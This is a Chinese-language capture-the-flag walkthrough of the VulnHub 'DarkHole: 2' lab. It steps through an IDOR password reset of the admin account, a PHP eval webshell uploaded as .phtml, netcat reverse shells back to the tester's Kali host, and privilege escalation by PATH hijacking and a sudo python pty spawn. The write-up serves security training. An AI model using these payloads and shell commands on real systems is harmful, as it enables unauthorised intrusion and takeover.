靶机下载地址为:DarkHole: 2 ~ VulnHub
靶机IP:192.168.245.143
测试机系统:kali、win10
测试机IP:192.168.245.139
1.信息搜集与利用
1.1主机发现
nmap -sP 192.168.245.0/24
发现靶机IP:192.168.245.143
1.2扫描IP端口服务
Nmap 探测该IP的端口和服务
nmap -A -P 192.168.245.143
靶机开启22和80端口,先访问一下80端口,显示为一个站点。
2.漏洞挖掘
访问一下80端口,显示为一个站点。
查看页面和审计页面源码,并没有发现关键信息。
点击login,进入登录页面
尝试一下注册个账号
点击sign up now,然后注册一个账号(test:123456)。
注册成功后,登录进去系统。
仅有更新个人信息和密码功能。
3、越权操作
更新一下密码,并使用BP抓包。
尝试是否存在越权操作漏洞,修改参数id=1
事实证明,存在越权操作漏洞,且我们已经修改了id=1的账户(admin)的密码为123456。
使用管理员账户(admin:123456)登录系统,多了一个文件上传功能。
4、文件上传获取shell
首先上传一个php文件,内容为:
<?php eval($_POST[lbwnb]);?>
但是出现报错,猜测是做了黑名单检测。
将后缀名改为.phtml,再次上传,上传成功,且暴露了上传路径。
使用蚁剑连接,获取到shell
5、反弹shell至kali
新建文件xxx.sh,并赋予执行权限,内容为
mknod backdoor p && nc 192.168.245.139 4444 0<backdoor | /bin/bash 1>backdoor
在kali中开启监听
nc -lvvp 4444
在蚁剑虚拟终端中输入这条命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.245.139 4444 >/tmp/f
kali中反弹成功
升级成交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
6.权限提升
通过find命令查找具有suid权限的文件
cd /home/john
find / -perm -u=s -type f 2>/dev/null
使用PATH 变量进行权限提升,拿到john权限
echo $PATH
echo "/bin/bash" >/tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
echo $PATH
./toto
whoami
通过ls -l ,查看user拿到第一个flag,查看password拿到密码
通过sudo -l,看到提升root的提示
在file.py 文件中写入 import pty;pty.spawn("/bin/bash")
#file.py
echo 'import pty;pty.spawn("/bin/bash")' > file.py
cat file.py
提权至root成功
sudo python3 /home/john/file.py
id
cd /root
cat root.txt